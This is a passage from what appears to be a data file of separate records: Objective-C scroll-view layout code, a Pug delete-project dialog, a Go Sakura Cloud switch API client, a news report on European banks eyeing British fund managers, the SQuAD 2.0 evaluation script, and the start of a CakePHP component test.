sendSubviewToBack:(UIView*)obj];\n }\n }];\n self.scrollDirection = scrollDirection;\n [self.superview layoutIfNeeded];\n [self hd_refreshAll];\n}\n- (void)hd_refreshAll\n{\n CGFloat contentWidth = self.frame.size.width;\n CGFloat contentHeight = self.frame.size.height;\n \n __block CGFloat listContentWidthSum = 0;\n __block CGFloat listContentHeightSum = 0;\n \n __block CGFloat currentX = 0;\n __block CGFloat currentY = 0;\n //\u8ba1\u7b97\u6bcf\u4e2a\u5b50view\u5408\u9002\u7684\u5927\u5c0f\u53ca\u6700\u7ec8contentSize\n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n UIView *view = (UIView *)obj;\n CGSize hdSize = [objc_getAssociatedObject(obj, &HDPrivateContentSizeKey) CGSizeValue];\n if (CGSizeEqualToSize(CGSizeZero, hdSize)) {\n if ([obj respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]) {\n UIScrollView *sc = [obj hd_ScrollJoinViewRealScroll];\n hdSize = sc.contentSize;\n }else{\n hdSize = view.frame.size;\n }\n }\n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n \n CGFloat scFitH = hdSize.height>contentHeight?contentHeight:hdSize.height;\n view.frame = CGRectMake(currentX, currentY, contentWidth, scFitH);\n currentY = CGRectGetMaxY(view.frame);\n objc_setAssociatedObject(obj, &HDOriginalFrameKey, [NSValue valueWithCGRect:view.frame], OBJC_ASSOCIATION_RETAIN);\n \n //\u4fdd\u5b58\u76f8\u5bf9frame\u539f\u59cb\u503c\n CGRect orgFrame = view.frame;\n orgFrame.origin.y = listContentHeightSum;\n orgFrame.size.height = hdSize.height;\n objc_setAssociatedObject(obj, &HDRelativeOriginalFrameKey, [NSValue valueWithCGRect:orgFrame], OBJC_ASSOCIATION_RETAIN);\n\n listContentHeightSum += hdSize.height;\n \n }else{\n \n CGFloat scFitW = hdSize.width>contentWidth?contentWidth:hdSize.width;\n view.frame = CGRectMake(currentX, currentY, scFitW,contentHeight);\n currentX = CGRectGetMaxX(view.frame);\n objc_setAssociatedObject(obj, &HDOriginalFrameKey, [NSValue valueWithCGRect:view.frame], OBJC_ASSOCIATION_RETAIN);\n \n CGRect orgFrame = view.frame;\n orgFrame.origin.x = listContentWidthSum;\n orgFrame.size.width = hdSize.width;\n objc_setAssociatedObject(obj, &HDRelativeOriginalFrameKey, [NSValue valueWithCGRect:orgFrame], OBJC_ASSOCIATION_RETAIN);\n \n listContentWidthSum += hdSize.width;\n }\n [view setNeedsLayout];\n [view layoutIfNeeded];\n }];\n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n UIView *view = (UIView *)obj;\n if ([obj respondsToSelector:@selector(hd_subViewStopType)]) {\n if ([obj hd_subViewStopType] == HDScrollJoinViewStopTypeWhenNextDismiss) {\n //\u5982\u679c\u5f53\u524dview\u60ac\u505c\u7c7b\u578b\u4e3aHDScrollJoinViewStopTypeWhenNextDismiss\u65f6\u9700\u8981\u4fdd\u5b58 \u5176MAXY\n NSInteger nextIndex = idx + 1;\n CGFloat maxXY = 0;\n if (nextIndex>0 && nextIndex < self.innerListArr.count) {\n UIView *nextView = (UIView*)self.innerListArr[nextIndex];\n CGRect nextOrgFrame = [objc_getAssociatedObject(nextView, &HDRelativeOriginalFrameKey) CGRectValue];\n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n maxXY = CGRectGetMaxY(nextOrgFrame) - view.frame.size.height;\n objc_setAssociatedObject(view, &HDStopViewMaxXYKey, @(maxXY), OBJC_ASSOCIATION_RETAIN);\n }else{\n maxXY = CGRectGetMaxX(nextOrgFrame) - view.frame.size.width;\n objc_setAssociatedObject(view, &HDStopViewMaxXYKey, @(maxXY), OBJC_ASSOCIATION_RETAIN);\n }\n }\n }\n }\n }];\n \n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n contentHeight = MAX(contentHeight, listContentHeightSum);\n }else{\n contentWidth = MAX(contentWidth, listContentWidthSum);\n }\n self.contentSize = CGSizeMake(contentWidth, contentHeight);\n [self scrollViewDidScroll:self];\n}\n\n- (void)scrollViewDidScroll:(UIScrollView *)scrollView\n{\n currentContentOffset = self.contentOffset;\n id subMainview = [self findCurrentScrollingSubView];\n if (subMainview) {\n [self updateCurrentSc:subMainview];\n }\n}\n- (id)findCurrentScrollingSubView\n{\n //\u67e5\u627e\u5f53\u524d\u6b63\u5728\u6ed1\u52a8\u5c55\u793a\u54ea\u4e2aview\n CGFloat offsetXY = 0;\n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n offsetXY = currentContentOffset.y;\n }else{\n offsetXY = currentContentOffset.x;\n }\n __block id currentView;\n //\u4ece\u524d\u5f80\u540e\u4f9d\u6b21\u67e5\u627e\n __block CGFloat offsetSum = 0;\n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n CGSize fitSize = CGSizeZero;\n if ([obj respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]) {\n UIScrollView *sc = [obj hd_ScrollJoinViewRealScroll];\n fitSize = sc.contentSize;\n }else{\n fitSize = [(UIView*)obj frame].size;\n }\n \n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n offsetSum += fitSize.height;\n if (offsetXY < offsetSum ) {\n currentView = obj;\n *stop = YES;\n }\n \n }else{\n offsetSum += fitSize.width;\n if (offsetXY < offsetSum) {\n currentView = obj;\n *stop = YES;\n }\n }\n }];\n return currentView;\n}\n- (void)updateCurrentSc:(id)subMainView\n{\n if (!subMainView) {\n return;\n }\n [self updateStopViewsFrame:subMainView];\n \n UIView *view = (UIView *)subMainView;\n if ([subMainView respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]) {\n UIScrollView *currentSc = [subMainView hd_ScrollJoinViewRealScroll];\n CGFloat frameX = 0;\n CGFloat frameY = 0;\n CGFloat contentX = 0;\n CGFloat contentY = 0;\n \n CGRect frame = [objc_getAssociatedObject(view, &HDOriginalFrameKey) CGRectValue];\n \n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n CGRect relativeFrame = [objc_getAssociatedObject(view, &HDRelativeOriginalFrameKey) CGRectValue];\n contentY = currentContentOffset.y - relativeFrame.origin.y;\n //\u5224\u65ad\u5f53\u524d\u6ed1\u52a8view\u662f\u5426\u5df2\u7ecf\u6ed1\u5230\u5e95\u90e8\n CGFloat maxContentY = currentSc.contentSize.height - frame.size.height;\n if (contentY >= maxContentY) {\n frameY = CGRectGetMaxY(relativeFrame) - frame.size.height;\n contentY = maxContentY;\n }else{\n frameY = currentContentOffset.y;\n }\n }else{\n CGRect relativeFrame = [objc_getAssociatedObject(view, &HDRelativeOriginalFrameKey) CGRectValue];\n contentX = currentContentOffset.x - relativeFrame.origin.x;\n CGFloat maxContentX = currentSc.contentSize.width - frame.size.width;\n if (contentX >= maxContentX) {\n frameX = CGRectGetMaxX(relativeFrame) - frame.size.width;\n contentX = maxContentX;\n }else{\n frameX = currentContentOffset.x;\n }\n }\n view.frame = CGRectMake(frameX, frameY, view.frame.size.width, view.frame.size.height);\n currentSc.contentOffset = CGPointMake(contentX, contentY);\n }\n \n NSInteger curIndex = [self.innerListArr indexOfObject:subMainView];\n \n //\u5176\u540e\u7684view\u4fdd\u6301\u5728\u4e0a\u4e2aview\u7684\u6700 \u4e0b/\u53f3 \u9762\n UIView *frontView = (UIView *)subMainView;\n if (curIndex != NSNotFound) {\n for (NSInteger i = curIndex+1; i < self.innerListArr.count; i++) {\n UIView *behindView = (UIView*)self.innerListArr[i];\n CGRect frame = [objc_getAssociatedObject(behindView, &HDOriginalFrameKey) CGRectValue];\n if (![behindView respondsToSelector:@selector(hd_subViewStopType)]) {\n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n frame.origin.y = CGRectGetMaxY([objc_getAssociatedObject(frontView, &HDRelativeOriginalFrameKey) CGRectValue]);\n }else{\n frame.origin.x = CGRectGetMaxX([objc_getAssociatedObject(frontView, &HDRelativeOriginalFrameKey) CGRectValue]);\n }\n behindView.frame = frame;\n }\n if ([behindView respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]) {\n UIScrollView *sc = [(id)behindView hd_ScrollJoinViewRealScroll];\n sc.contentOffset = CGPointZero;\n }\n frontView = behindView;\n }\n }\n \n}\n- (void)updateStopViewsFrame:(id)currentScView\n{\n //\u627e\u5230\u6240\u6709\u9700\u8981\u60ac\u505c\u7684view\n NSMutableArray *needStopViewArr = @[].mutableCopy;\n NSInteger currentScIndex = [self.innerListArr indexOfObject:currentScView];\n __block NSInteger maxCurrentVisualVIndex = 0;\n if (currentScIndex != NSNotFound) {\n maxCurrentVisualVIndex = currentScIndex;\n }\n \n CGRect currentVisualRect = self.bounds;\n \n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n CGRect reOrgFrame = [objc_getAssociatedObject(obj, &HDRelativeOriginalFrameKey) CGRectValue];\n if (CGRectIntersectsRect(currentVisualRect,reOrgFrame)) {\n if (idx>maxCurrentVisualVIndex) {\n maxCurrentVisualVIndex = idx;\n }\n }\n }];\n\n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n if ([obj respondsToSelector:@selector(hd_subViewStopType)]) {\n [needStopViewArr addObject:obj];\n }\n if (idx == maxCurrentVisualVIndex) {\n *stop = YES;\n }\n }];\n \n __block CGFloat currentOffset = 0;\n [needStopViewArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n UIView *stopView = (UIView*)obj;\n HDScrollJoinViewStopType stopType = [obj hd_subViewStopType];\n CGRect frame = [objc_getAssociatedObject(stopView, &HDOriginalFrameKey) CGRectValue];\n \n if (self.scrollDirection == UICollectionViewScrollDirectionVertical) {\n CGFloat orgMinXY = CGRectGetMinY([objc_getAssociatedObject(stopView, &HDRelativeOriginalFrameKey) CGRectValue]);\n if (stopType == HDScrollJoinViewStopTypeAlways) {\n frame.origin.y = MAX(self->currentContentOffset.y + currentOffset, orgMinXY);\n stopView.frame = frame;\n currentOffset += frame.size.height;\n }else if (stopType == HDScrollJoinViewStopTypeWhenNextDismiss){\n CGFloat orgMaxXY = [objc_getAssociatedObject(stopView, &HDStopViewMaxXYKey) floatValue];\n CGFloat maxY = MAX(self->currentContentOffset.y + currentOffset, orgMinXY);\n frame.origin.y = MIN(orgMaxXY, maxY);\n stopView.frame = frame;\n }\n }else{\n CGFloat orgMinXY = CGRectGetMinX([objc_getAssociatedObject(stopView, &HDRelativeOriginalFrameKey) CGRectValue]);\n if (stopType == HDScrollJoinViewStopTypeAlways) {\n frame.origin.x = MAX(self->currentContentOffset.x + currentOffset, orgMinXY);\n stopView.frame = frame;\n currentOffset += frame.size.width;\n }else if (stopType == HDScrollJoinViewStopTypeWhenNextDismiss){\n CGFloat orgMaxXY = [objc_getAssociatedObject(stopView, &HDStopViewMaxXYKey) floatValue];\n CGFloat maxX = MAX(self->currentContentOffset.x + currentOffset, orgMinXY);\n frame.origin.x = MIN(orgMaxXY, maxX);\n stopView.frame = frame;\n }\n }\n \n\n }];\n currentStopViews = needStopViewArr;\n\n}\n\n- (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary *)change context:(void *)context\n{\n if ([keyPath isEqualToString:HDScrollJoinViewContentSize]) {\n id mainSubView = (__bridge id)(context);\n CGSize oldSize = [objc_getAssociatedObject((__bridge id _Nonnull)(context), &HDPrivateContentSizeKey) CGSizeValue];\n __block CGSize newSize = [change[NSKeyValueChangeNewKey] CGSizeValue];\n \n if ([mainSubView respondsToSelector:@selector(hd_properContentSize:)]) {\n [mainSubView hd_properContentSize:^(CGSize properSize) {\n newSize = properSize;\n if (!CGSizeEqualToSize(oldSize, newSize)) {\n objc_setAssociatedObject((__bridge id _Nonnull)(context), &HDPrivateContentSizeKey, [NSValue valueWithCGSize:newSize], OBJC_ASSOCIATION_RETAIN);\n [self hd_refreshAll];\n }\n }];\n }else{\n if (!CGSizeEqualToSize(oldSize, newSize)) {\n objc_setAssociatedObject((__bridge id _Nonnull)(context), &HDPrivateContentSizeKey, [NSValue valueWithCGSize:newSize], OBJC_ASSOCIATION_RETAIN);\n [self hd_refreshAll];\n }\n }\n \n } else {\n [super observeValueForKeyPath:keyPath ofObject:object change:change context:context];\n }\n}\n- (void)dealloc\n{\n [self.innerListArr enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {\n if ([obj respondsToSelector:@selector(hd_ScrollJoinViewRealScroll)]) {\n UIScrollView *sc = [obj hd_ScrollJoinViewRealScroll];\n [sc removeObserver:self forKeyPath:HDScrollJoinViewContentSize];\n }\n }];\n}\n@end\n"} -{"text": "tg-lightbox-close\nform\n h2.title(translate=\"LIGHTBOX.DELETE_PROJECT.TITLE\")\n p\n span.question(translate=\"LIGHTBOX.DELETE_PROJECT.QUESTION\")\n span.subtitle(translate=\"LIGHTBOX.DELETE_PROJECT.SUBTITLE\")\n .options\n a.button-green(href=\"\", title=\"{{'LIGHTBOX.DELETE_PROJECT.CONFIRM' | translate}}\")\n span(translate=\"LIGHTBOX.DELETE_PROJECT.CONFIRM\")\n a.button-red(href=\"\", title=\"{{'COMMON.CANCEL' | translate}}\")\n span(translate=\"COMMON.CANCEL\")\n"} -{"text": "package api\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/sacloud/libsacloud/sacloud\"\n)\n\n// SwitchAPI \u30b9\u30a4\u30c3\u30c1API\ntype SwitchAPI struct {\n\t*baseAPI\n}\n\n// NewSwitchAPI \u30b9\u30a4\u30c3\u30c1API\u4f5c\u6210\nfunc NewSwitchAPI(client *Client) *SwitchAPI {\n\treturn &SwitchAPI{\n\t\t&baseAPI{\n\t\t\tclient: client,\n\t\t\tFuncGetResourceURL: func() string {\n\t\t\t\treturn \"switch\"\n\t\t\t},\n\t\t},\n\t}\n}\n\n// DisconnectFromBridge \u30d6\u30ea\u30c3\u30b8\u3068\u306e\u5207\u65ad\nfunc (api *SwitchAPI) DisconnectFromBridge(switchID int64) (bool, error) {\n\tvar (\n\t\tmethod = \"DELETE\"\n\t\turi = fmt.Sprintf(\"%s/%d/to/bridge\", api.getResourceURL(), switchID)\n\t)\n\treturn api.modify(method, uri, nil)\n}\n\n// ConnectToBridge \u30d6\u30ea\u30c3\u30b8\u3068\u306e\u63a5\u7d9a\nfunc (api *SwitchAPI) ConnectToBridge(switchID int64, bridgeID int64) (bool, error) {\n\tvar (\n\t\tmethod = \"PUT\"\n\t\turi = fmt.Sprintf(\"%s/%d/to/bridge/%d\", api.getResourceURL(), switchID, bridgeID)\n\t)\n\treturn api.modify(method, uri, nil)\n}\n\n// GetServers \u30b9\u30a4\u30c3\u30c1\u306b\u63a5\u7d9a\u3055\u308c\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u4e00\u89a7\u53d6\u5f97\nfunc (api *SwitchAPI) GetServers(switchID int64) ([]sacloud.Server, error) {\n\tvar (\n\t\tmethod = \"GET\"\n\t\turi = fmt.Sprintf(\"%s/%d/server\", api.getResourceURL(), switchID)\n\t\tres = &sacloud.SearchResponse{}\n\t)\n\terr := api.baseAPI.request(method, uri, nil, res)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn res.Servers, nil\n}\n"} -{"text": "Germany's Dresdner Bank and Dutch bank ABN AMRO Holding NV may covet a larger slice of lucrative British fund management business, but analysts warned on Wednesday their shopping lists will be limited.\n\"Some of the smaller quoted firms might get snapped up,\" one banking analyst told Reuters, adding the price range for quoted asset management companies varied from between around 125 million pounds ($207.6 million) to several billion pounds.\n\"There's a large range of value out there, but nothing is on offer,\" he said.\nWell-known top performers such as Mercury Asset Management (MAM) are likely to be prohibitively expensive and none of the major players have indicated they are up for grabs.\nAnd the weaker fund firms are not likely to be of such great interest to European banks trying to make an immediate impact on the market rather than turn around a non-performer.\n\"There's an active trading market for these businesses but some banks feel the prices are too high,\" John Leonard, banking analyst at Salomon Brothers said.\nBanks are not alone in their desire to grab more asset management business, with insurance companies also in the frame. And as with other areas of financial services completely new entrants to the field are also expected.\nRetailers like Marks and Spencer have been selling personal financial products for some time but supermarkets and companies such as Richard Branson's Virgin may begin to take on the dual roles of selling products and managing assets by linking up with life assurance or asset management firms.\nLast November Dresdner, Germany's second largest commercial bank, announced a restructuring of its global fund management business to bring non-German funds under the management of its newly acquired San Francisco-based RCM Capital Management.\nThe new group, which incorporates London's Kleinwort Benson International Management and Thornton & Co and is due to be named in March, will have assets under management of more than $50 billion, a quarter of the $200 billion managed asset volume of the whole Dresdner group.\nDresdner said on Wednesday it was interested in taking over a British fund manager and was also looking at expanding its asset management in France and Italy.\nThis came on top of comments by ABN AMRO this week that it too would buy in the right circumstances.\nOne analyst said ABN AMRO would regret it had not outsmarted Britain's National Westminster Bank Plc which captured British fund manager Gartmore almost a year ago for 472 million pounds.\nAnalysts said the problem for both ABN and Dresdner would be satisfying their desire for increased market share without sacrificing shareholder value by paying over the odds for an acquisition.\nAnd because everyone wants a piece of the action, prices are likely to rise further. Shares in British fund management firms rose on Wednesday after the Dresdner comments.\nMAM shares were up five pence at 1,260 pence in the early afternoon while Edinburgh Fund Managers shares were up five pence at 607.5 pence and Henderson shares were up 32.5 pence to 1,277.5 pence.\nAnalysts singled out Edinburgh Fund Managers and Ivory and Sime as two of the weaker share performers in the sector. \"There are some asset management companies with quite depressed share prices,\" said one.\n($1=.6021 Pound)\n"} -{"text": "\"\"\"Official evaluation script for SQuAD version 2.0.\n\nIn addition to basic functionality, we also compute additional statistics and\nplot precision-recall curves if an additional na_prob.json file is provided.\nThis file is expected to map question ID's to the model's predicted probability\nthat a question is unanswerable.\n\"\"\"\nimport argparse\nimport collections\nimport json\nimport numpy as np\nimport os\nimport re\nimport string\nimport sys\n\nOPTS = None\n\ndef parse_args():\n parser = argparse.ArgumentParser('Official evaluation script for SQuAD version 2.0.')\n parser.add_argument('data_file', metavar='data.json', help='Input data JSON file.')\n parser.add_argument('pred_file', metavar='pred.json', help='Model predictions.')\n parser.add_argument('--out-file', '-o', metavar='eval.json',\n help='Write accuracy metrics to file (default is stdout).')\n parser.add_argument('--na-prob-file', '-n', metavar='na_prob.json',\n help='Model estimates of probability of no answer.')\n parser.add_argument('--na-prob-thresh', '-t', type=float, default=1.0,\n help='Predict \"\" if no-answer probability exceeds this (default = 1.0).')\n parser.add_argument('--out-image-dir', '-p', metavar='out_images', default=None,\n help='Save precision-recall curves to directory.')\n parser.add_argument('--verbose', '-v', action='store_true')\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n return parser.parse_args()\n\ndef make_qid_to_has_ans(dataset):\n qid_to_has_ans = {}\n for article in dataset:\n for p in article['paragraphs']:\n for qa in p['qas']:\n qid_to_has_ans[qa['id']] = bool(qa['answers'])\n return qid_to_has_ans\n\ndef normalize_answer(s):\n \"\"\"Lower text and remove punctuation, articles and extra whitespace.\"\"\"\n def remove_articles(text):\n regex = re.compile(r'\\b(a|an|the)\\b', re.UNICODE)\n return re.sub(regex, ' ', text)\n def white_space_fix(text):\n return ' '.join(text.split())\n def remove_punc(text):\n exclude = set(string.punctuation)\n return ''.join(ch for ch in text if ch not in exclude)\n def lower(text):\n return text.lower()\n return white_space_fix(remove_articles(remove_punc(lower(s))))\n\ndef get_tokens(s):\n if not s: return []\n return normalize_answer(s).split()\n\ndef compute_exact(a_gold, a_pred):\n return int(normalize_answer(a_gold) == normalize_answer(a_pred))\n\ndef compute_f1(a_gold, a_pred):\n gold_toks = get_tokens(a_gold)\n pred_toks = get_tokens(a_pred)\n common = collections.Counter(gold_toks) & collections.Counter(pred_toks)\n num_same = sum(common.values())\n if len(gold_toks) == 0 or len(pred_toks) == 0:\n # If either is no-answer, then F1 is 1 if they agree, 0 otherwise\n return int(gold_toks == pred_toks)\n if num_same == 0:\n return 0\n precision = 1.0 * num_same / len(pred_toks)\n recall = 1.0 * num_same / len(gold_toks)\n f1 = (2 * precision * recall) / (precision + recall)\n return f1\n\ndef get_raw_scores(dataset, preds):\n exact_scores = {}\n f1_scores = {}\n for article in dataset:\n for p in article['paragraphs']:\n for qa in p['qas']:\n qid = qa['id']\n gold_answers = [a['text'] for a in qa['answers']\n if normalize_answer(a['text'])]\n if not gold_answers:\n # For unanswerable questions, only correct answer is empty string\n gold_answers = ['']\n if qid not in preds:\n print('Missing prediction for %s' % qid)\n continue\n a_pred = preds[qid]\n # Take max over all gold answers\n exact_scores[qid] = max(compute_exact(a, a_pred) for a in gold_answers)\n f1_scores[qid] = max(compute_f1(a, a_pred) for a in gold_answers)\n return exact_scores, f1_scores\n\ndef apply_no_ans_threshold(scores, na_probs, qid_to_has_ans, na_prob_thresh):\n new_scores = {}\n for qid, s in scores.items():\n pred_na = na_probs[qid] > na_prob_thresh\n if pred_na:\n new_scores[qid] = float(not qid_to_has_ans[qid])\n else:\n new_scores[qid] = s\n return new_scores\n\ndef make_eval_dict(exact_scores, f1_scores, qid_list=None):\n if not qid_list:\n total = len(exact_scores)\n return collections.OrderedDict([\n ('exact', 100.0 * sum(exact_scores.values()) / total),\n ('f1', 100.0 * sum(f1_scores.values()) / total),\n ('total', total),\n ])\n else:\n total = len(qid_list)\n return collections.OrderedDict([\n ('exact', 100.0 * sum(exact_scores[k] for k in qid_list) / total),\n ('f1', 100.0 * sum(f1_scores[k] for k in qid_list) / total),\n ('total', total),\n ])\n\ndef merge_eval(main_eval, new_eval, prefix):\n for k in new_eval:\n main_eval['%s_%s' % (prefix, k)] = new_eval[k]\n\ndef plot_pr_curve(precisions, recalls, out_image, title):\n plt.step(recalls, precisions, color='b', alpha=0.2, where='post')\n plt.fill_between(recalls, precisions, step='post', alpha=0.2, color='b')\n plt.xlabel('Recall')\n plt.ylabel('Precision')\n plt.xlim([0.0, 1.05])\n plt.ylim([0.0, 1.05])\n plt.title(title)\n plt.savefig(out_image)\n plt.clf()\n\ndef make_precision_recall_eval(scores, na_probs, num_true_pos, qid_to_has_ans,\n out_image=None, title=None):\n qid_list = sorted(na_probs, key=lambda k: na_probs[k])\n true_pos = 0.0\n cur_p = 1.0\n cur_r = 0.0\n precisions = [1.0]\n recalls = [0.0]\n avg_prec = 0.0\n for i, qid in enumerate(qid_list):\n if qid_to_has_ans[qid]:\n true_pos += scores[qid]\n cur_p = true_pos / float(i+1)\n cur_r = true_pos / float(num_true_pos)\n if i == len(qid_list) - 1 or na_probs[qid] != na_probs[qid_list[i+1]]:\n # i.e., if we can put a threshold after this point\n avg_prec += cur_p * (cur_r - recalls[-1])\n precisions.append(cur_p)\n recalls.append(cur_r)\n if out_image:\n plot_pr_curve(precisions, recalls, out_image, title)\n return {'ap': 100.0 * avg_prec}\n\ndef run_precision_recall_analysis(main_eval, exact_raw, f1_raw, na_probs, \n qid_to_has_ans, out_image_dir):\n if out_image_dir and not os.path.exists(out_image_dir):\n os.makedirs(out_image_dir)\n num_true_pos = sum(1 for v in qid_to_has_ans.values() if v)\n if num_true_pos == 0:\n return\n pr_exact = make_precision_recall_eval(\n exact_raw, na_probs, num_true_pos, qid_to_has_ans,\n out_image=os.path.join(out_image_dir, 'pr_exact.png'),\n title='Precision-Recall curve for Exact Match score')\n pr_f1 = make_precision_recall_eval(\n f1_raw, na_probs, num_true_pos, qid_to_has_ans,\n out_image=os.path.join(out_image_dir, 'pr_f1.png'),\n title='Precision-Recall curve for F1 score')\n oracle_scores = {k: float(v) for k, v in qid_to_has_ans.items()}\n pr_oracle = make_precision_recall_eval(\n oracle_scores, na_probs, num_true_pos, qid_to_has_ans,\n out_image=os.path.join(out_image_dir, 'pr_oracle.png'),\n title='Oracle Precision-Recall curve (binary task of HasAns vs. NoAns)')\n merge_eval(main_eval, pr_exact, 'pr_exact')\n merge_eval(main_eval, pr_f1, 'pr_f1')\n merge_eval(main_eval, pr_oracle, 'pr_oracle')\n\ndef histogram_na_prob(na_probs, qid_list, image_dir, name):\n if not qid_list:\n return\n x = [na_probs[k] for k in qid_list]\n weights = np.ones_like(x) / float(len(x))\n plt.hist(x, weights=weights, bins=20, range=(0.0, 1.0))\n plt.xlabel('Model probability of no-answer')\n plt.ylabel('Proportion of dataset')\n plt.title('Histogram of no-answer probability: %s' % name)\n plt.savefig(os.path.join(image_dir, 'na_prob_hist_%s.png' % name))\n plt.clf()\n\ndef find_best_thresh(preds, scores, na_probs, qid_to_has_ans):\n num_no_ans = sum(1 for k in qid_to_has_ans if not qid_to_has_ans[k])\n cur_score = num_no_ans\n best_score = cur_score\n best_thresh = 0.0\n qid_list = sorted(na_probs, key=lambda k: na_probs[k])\n for i, qid in enumerate(qid_list):\n if qid not in scores: continue\n if qid_to_has_ans[qid]:\n diff = scores[qid]\n else:\n if preds[qid]:\n diff = -1\n else:\n diff = 0\n cur_score += diff\n if cur_score > best_score:\n best_score = cur_score\n best_thresh = na_probs[qid]\n return 100.0 * best_score / len(scores), best_thresh\n\ndef find_all_best_thresh(main_eval, preds, exact_raw, f1_raw, na_probs, qid_to_has_ans):\n best_exact, exact_thresh = find_best_thresh(preds, exact_raw, na_probs, qid_to_has_ans)\n best_f1, f1_thresh = find_best_thresh(preds, f1_raw, na_probs, qid_to_has_ans)\n main_eval['best_exact'] = best_exact\n main_eval['best_exact_thresh'] = exact_thresh\n main_eval['best_f1'] = best_f1\n main_eval['best_f1_thresh'] = f1_thresh\n\ndef main():\n with open(OPTS.data_file) as f:\n dataset_json = json.load(f)\n dataset = dataset_json['data']\n with open(OPTS.pred_file) as f:\n preds = json.load(f)\n if OPTS.na_prob_file:\n with open(OPTS.na_prob_file) as f:\n na_probs = json.load(f)\n else:\n na_probs = {k: 0.0 for k in preds}\n qid_to_has_ans = make_qid_to_has_ans(dataset) # maps qid to True/False\n has_ans_qids = [k for k, v in qid_to_has_ans.items() if v]\n no_ans_qids = [k for k, v in qid_to_has_ans.items() if not v]\n exact_raw, f1_raw = get_raw_scores(dataset, preds)\n exact_thresh = apply_no_ans_threshold(exact_raw, na_probs, qid_to_has_ans,\n OPTS.na_prob_thresh)\n f1_thresh = apply_no_ans_threshold(f1_raw, na_probs, qid_to_has_ans,\n OPTS.na_prob_thresh)\n out_eval = make_eval_dict(exact_thresh, f1_thresh)\n if has_ans_qids:\n has_ans_eval = make_eval_dict(exact_thresh, f1_thresh, qid_list=has_ans_qids)\n merge_eval(out_eval, has_ans_eval, 'HasAns')\n if no_ans_qids:\n no_ans_eval = make_eval_dict(exact_thresh, f1_thresh, qid_list=no_ans_qids)\n merge_eval(out_eval, no_ans_eval, 'NoAns')\n if OPTS.na_prob_file:\n find_all_best_thresh(out_eval, preds, exact_raw, f1_raw, na_probs, qid_to_has_ans)\n if OPTS.na_prob_file and OPTS.out_image_dir:\n run_precision_recall_analysis(out_eval, exact_raw, f1_raw, na_probs, \n qid_to_has_ans, OPTS.out_image_dir)\n histogram_na_prob(na_probs, has_ans_qids, OPTS.out_image_dir, 'hasAns')\n histogram_na_prob(na_probs, no_ans_qids, OPTS.out_image_dir, 'noAns')\n if OPTS.out_file:\n with open(OPTS.out_file, 'w') as f:\n json.dump(out_eval, f)\n else:\n print(json.dumps(out_eval, indent=2))\n\nif __name__ == '__main__':\n OPTS = parse_args()\n if OPTS.out_image_dir:\n import matplotlib\n matplotlib.use('Agg')\n import matplotlib.pyplot as plt \n main()\n\ndef my_evaluation(dataset, preds, na_probs=None, na_prob_thresh=1.0):\n has_na_prob_score = False if na_probs is None else True\n if na_probs is None:\n na_probs = {k: 0.0 for k in preds}\n qid_to_has_ans = make_qid_to_has_ans(dataset) # maps qid to True/False\n has_ans_qids = [k for k, v in qid_to_has_ans.items() if v]\n no_ans_qids = [k for k, v in qid_to_has_ans.items() if not v]\n exact_raw, f1_raw = get_raw_scores(dataset, preds)\n exact_thresh = apply_no_ans_threshold(exact_raw, na_probs, qid_to_has_ans, na_prob_thresh)\n f1_thresh = apply_no_ans_threshold(f1_raw, na_probs, qid_to_has_ans, na_prob_thresh)\n out_eval = make_eval_dict(exact_thresh, f1_thresh)\n if has_ans_qids:\n has_ans_eval = make_eval_dict(exact_thresh, f1_thresh, qid_list=has_ans_qids)\n merge_eval(out_eval, has_ans_eval, 'HasAns')\n if no_ans_qids:\n no_ans_eval = make_eval_dict(exact_thresh, f1_thresh, qid_list=no_ans_qids)\n merge_eval(out_eval, no_ans_eval, 'NoAns')\n if has_na_prob_score:\n find_all_best_thresh(out_eval, preds, exact_raw, f1_raw, na_probs, qid_to_has_ans)\n return out_eval"} -{"text": "Components = new ComponentCollection();\n\t}\n\n/**\n * tearDown\n *\n * @return void\n */\n\tpublic function tearDown() {\n\t\tparent::tearDown();\n\t\tunset($this->Components);\n\t}\n\n/**\n * test triggering callbacks on loaded helpers\n *\n * @return void\n */\n\tpublic function testLoad() {\n\t\t$result = $this->Components->load('Cookie');\n\t\t$this->assertInstanceOf('CookieComponent', $result);\n\t\t$this->assertInstanceOf('CookieComponent', $this->Components->Cookie);\n\n\t\t$result = $this->Components->loaded();\n\t\t$this->assertEquals(array('Cookie'), $result, 'loaded() results are wrong.');\n\n\t\t$this->assertTrue($this->Components->enabled('Cookie'));\n\n\t\t$result = $this->Components->load('Cookie');\n\t\t$this->assertSame($result, $this->Components->Cookie);\n\t}\n\n/**\n * Tests loading as an alias\n *\n * @return void\n */\n\tpublic function testLoadWithAlias() {\n\t\t$result = $this->Components->load('Cookie', array('className' => 'CookieAlias', 'somesetting' => true));\n\t\t$this->assertInstanceOf('CookieAliasComponent', 